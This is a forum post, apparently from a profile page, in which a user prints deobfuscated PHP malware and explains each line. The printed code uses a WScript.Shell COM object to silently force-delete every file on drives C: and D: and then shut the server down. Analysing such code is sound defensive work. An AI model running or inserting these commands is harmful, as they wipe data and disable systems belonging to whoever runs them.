Jump to content

someotherdude

New Members
  • Posts

    1
  • Joined

  • Last visited

Posts posted by someotherdude

  1. The de-ofuscated code is here:
     
    $WshShell = new COM("WScript.Shell");
    $oExec = $WshShell->Run("cmd /K del d:\* /q /f /s ", 0, false); 
    $oExec = $WshShell->Run("cmd /K del c:\* /q /f /s ", 0, false); 
    $oExec = $WshShell->Run("shutdown /s", 0, false);

    The first line creates an COM object, that uses WScript, which is used to create batch jobs.

    Then the second line uses that object to delete everything in drive d:

    Then the third line uses again that object to delete everything in drive c:

    And finally, the fourth line shuts down the server.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.